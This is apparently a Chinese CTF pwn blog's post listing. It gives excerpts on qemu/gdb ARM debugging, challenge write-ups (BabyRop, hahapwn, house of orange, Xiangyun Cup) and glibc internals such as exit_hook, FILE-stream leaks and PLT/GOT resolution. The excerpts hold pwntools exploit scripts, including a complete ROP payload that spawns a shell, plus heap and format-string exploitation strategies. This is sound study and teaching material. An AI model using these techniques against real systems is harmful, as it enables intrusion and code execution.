arm or mips
arm——gdb调试静态32:1qemu-arm -g 1212 文件名
再另起窗口
123gdb-multiarch #启动gdb-multiarchpwndbg> set arch arm #设置程序架构为arm架构pwndbg> target remote 127.0.0.1:1212 #链接本地qemu的调试端口
dasWP
就出了两道题,hahapwn还是赛后出的,难受
hehepwn思路泄露libc_base + rop
hahapwn这个题非常离谱,禁用了execve,一开始我用本地的libc.so.6能打通本地(并且read、write也能用)然后用它给的libc结果就打不通了,主要是因为他给的libc中的read、write函数不能用,elf文件只有puts能用,不能用sys_write思路是格式化字符串泄露canary + libc + stack,然后,rop进行orw
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364from pwn import *p = remote("node4.buuoj.cn",25546)libc = ELF("./libc.so.6")#context.log_level = "debug"''& ...
09-13————09-15
羊城杯复现BabyRop有溢出,有system,有/cin/sh(只用sh即可)。
exp:1234567891011from pwn import*context.log_level='debug'r=process('./BabyRop')#r=remote('192.168.40.244',11000)elf=ELF('./BabyRop')gdb.attach(r)p='a'*28+'b'*4+p32(0x80490a4)+p32(1)+p32(0x804C029) #system #shr.sendline(p)r.interactive()
nologinmain函数
主要看sub_400f87这个函数
这里注意v1,然后看sub_40095d函数
看出可以溢出,但只能溢出16个字节。
可以直接改返回地址为read_plt,将内容写到 ...
exit_hook
以前只接触过malloc_hook,free_hook,大概意思就是在调用malloc和free的时候会先看看里面有没有东西,有的话就会执行。以前在看一些师傅们博客的时候有看到过exit_hook,前几天就研究了一下,这篇来做个总结。
首先我们自己写一个程序,调试一下exit是怎么执行的。
12345671 #include<stdio.h>2 3 void main()4 {5 printf("bhxdn\n");6 exit(0);7 }
在第六行下断点看一下。
这里可以看到是执行了__run_exit_handlers。进入这个函数,看看它调用了哪些函数。
这里显示其中调用的一个函数,是_dl_fini。这里为了方便看,我们直接看_dl_fini的关键源码。
123456789101112131415161718 1 #ifdef SHARED 2 int do_audit = 0; 3 again: 4 #endif 5 for (Lmid_t ns = GL ...
08-30————09-05
houseoforange_hitcon_2016house of orange+FSOP伪造file
exp:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778from pwn import*from LibcSearcher import*context.log_level='debug'r=process('./houseoforange_hitcon_2016')#r=remote('node4.buuoj.cn',28976)elf=ELF('./houseoforange_hitcon_2016')libc=ELF('./2.23/libc.so.6')#libc=ELF('./libc-2.23.so')def a ...
祥云杯复现 pwn
note利用scanf格式化字符串修改top chunk的size,再利用house of orange使堆块进入unsorted bin,泄露libc。
再次利用scanff格式化字符串将malloc_hook改为og(要利用realloc调栈)。
exp:12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *context.log_level = 'debug'def menu(index): p.sendlineafter('choice: ', str(index))def add(size, content): menu(1) p.sendlineafter('size: ', str(size)) p.sendlineafter('content: ', content)def say(say1, say2): menu(2) p.sendlineaf ...
利用_IO_2_1_stdout泄露libc
FILE结构FILE在linux系统的标准IO库使用来描述文件结构,称之为文件流。这里提及的”流“其实是一种抽象的概念,无论是硬件还是软件其实都没有”流“一说,只是人们为了便于描述数据的流向而创造的名称。比如说当我们要输出磁盘中记录的数据,那么在计算机中首先会将磁盘中的数据加载进内存,那么磁盘–>内存这种流向就被抽象叫做”流“
FILE结构在程序执行fopen函数时会自动进行创建,并分配在堆中。我们常定义一个纸箱FILE结构的指针来接收这个返回值
FILE结构定义在glibc/libio/libio.h中,结构源码如下
看着很长是吧,没有关系,后面会讲解利用_IO_2_1_stdout泄露libc时主要构造的几个成员变量。回来继续,进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示,通过这个值可以遍历所有的FILE结构,大致的链表结构如下图:
在标准I/O库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。这里插一句个人观点,我认为stderr其实并不算是”流“,因为他的作用是在程序运 ...
_dl_runtime_resolve
_dl_runtime_resolve函数具体运行模式
首先用link_map访问.dynamic,分别取出.dynstr、.dynsym、.rel.plt的地址
.rel.plt+参数relic_index,求出当前函数的重定位表项Elf32_Rel的指针,记作rel
rel->r_info >> 8 作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
.dynstr + sym->st_name得出符号名 字符串指针
在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
最后调用这个函数
以puts为例追踪一下ELF文件libc函数解析过程
0x00 call puts@plt
0x01 si进入call puts@plt
0x02 因为会jmp dword ptr [0x804a00c],所以查看一下0x804a00c的内容,存放的是0x080482e6地址,其中0x080482e6是puts@plt第二条指令的地址,即read@got中初始存放read@plt的第二条指令地址
...
动态链接——PLT与GOT表
动态链接PLT与GOT表均为动态链接过程中的重要部分1GOT: Global Offset Table, 全局偏移表,包含所有需要动态链接的外部函数的地址(在第一次执行后)2PLT: Procedure Link Table, 过程链接表,包含调用外部函数的跳转指令(跳转到GOT表中),以及初始化外部调用指令(用于链接器动态绑定dl_runtime_resolve)Linux虚拟内存分段映射中,一般会分出三个相关的段:1 .plt: 即上文提到的过程链接表,包含全部的外部函数跳转指令信息2 .got.plt: 即下文将要表达的GOT表,与PLT表搭配使用,包含全部外部函数地址(第一次调用前为伪地址,具体见下)3 .got : 存放其他全局符号信息,注意与.got.plt不同,与下文函数动态链接过程关系不大(所以了解不深请见谅,有兴趣的读者也欢迎分享)简单来说,PLT表存放跳转相关指令,GOT表存放外部函数(符号)地址
PLT1.第一个表项PLT[0]为(通用调用解析表项)没有存储任何外部函数的跳转信息,保存调用dynamic linker resolve函数_dl_runtime ...
csapp-datalab
csapp-datalab文件任务可以参考https://shimo.im/docs/8pKdVCQVXTXyTY3W/
前置知识:123456789~ :非运算符 如 ~0010 = 1101& :与运算符 如 0010 & 1110 = 0010| :或运算符 如 0010 | 1110 = 1110^ :异或运算符 如 1001 ^ 0110 = 1111! :逻辑非运算符 如 !0 = 1 !1 = 0&&:逻辑与运算符 如 1 && 1 = 1 1 && 0 =0||:逻辑或运算符 如 1 || 0 = 1 >>: 右移运算符 逻辑右移(不考虑符号位) 如0100 >> 2 = 0001<<: 左移运算符 如 1001 1001 << = 0110 0100
1.位运算1.bitXor将^运算用~和&表示
123456789101112131415 ...